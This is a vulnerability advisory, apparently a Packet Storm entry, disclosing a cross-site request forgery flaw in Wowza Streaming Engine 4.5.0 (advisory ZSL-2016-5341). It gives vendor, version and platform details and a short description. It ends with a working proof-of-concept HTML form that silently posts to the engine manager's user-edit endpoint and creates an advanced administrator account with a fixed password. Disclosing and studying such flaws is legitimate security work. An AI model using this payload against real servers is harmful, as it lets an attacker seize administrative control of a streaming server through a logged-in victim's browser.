Wowza Streaming Engine 4.5.0 Cross Site Request Forgery

Type packetstorm
Reporter LiquidWorm
Modified 2016-07-20T00:00:00


Wowza Streaming Engine 4.5.0 CSRF Add Advanced Admin Exploit  
Vendor: Wowza Media Systems, LLC.  
Product web page:  
Affected version: 4.5.0 (build 18676)  
Platform: JSP  
Summary: Wowza Streaming Engine is robust, customizable, and scalable  
server software that powers reliable video and audio streaming to any  
device. Learn the benefits of using Wowza Streaming Engine to deliver  
high-quality live and on-demand video content to any device.  
Desc: The application interface allows users to perform certain actions  
via HTTP requests without performing any validity checks to verify the  
requests. This can be exploited to perform certain actions with administrative  
privileges if a logged-in user visits a malicious web site.  
Tested on: Winstone Servlet Engine v1.0.5  
Servlet/2.5 (Winstone/1.0.5)  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2016-5341  
Advisory URL:  
<form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">  
<input type="hidden" name="version" value="0" />  
<input type="hidden" name="action" value="new" />  
<input type="hidden" name="userName" value="thricer" />  
<input type="hidden" name="userPassword" value="123123" />  
<input type="hidden" name="userPassword2" value="123123" />  
<input type="hidden" name="accessLevel" value="admin" />  
<input type="hidden" name="advUser" value="true" />  
<input type="hidden" name="_advUser" value="on" />  
<input type="hidden" name="ignoreWarnings" value="false" />  
<input type="submit" value="Execute" />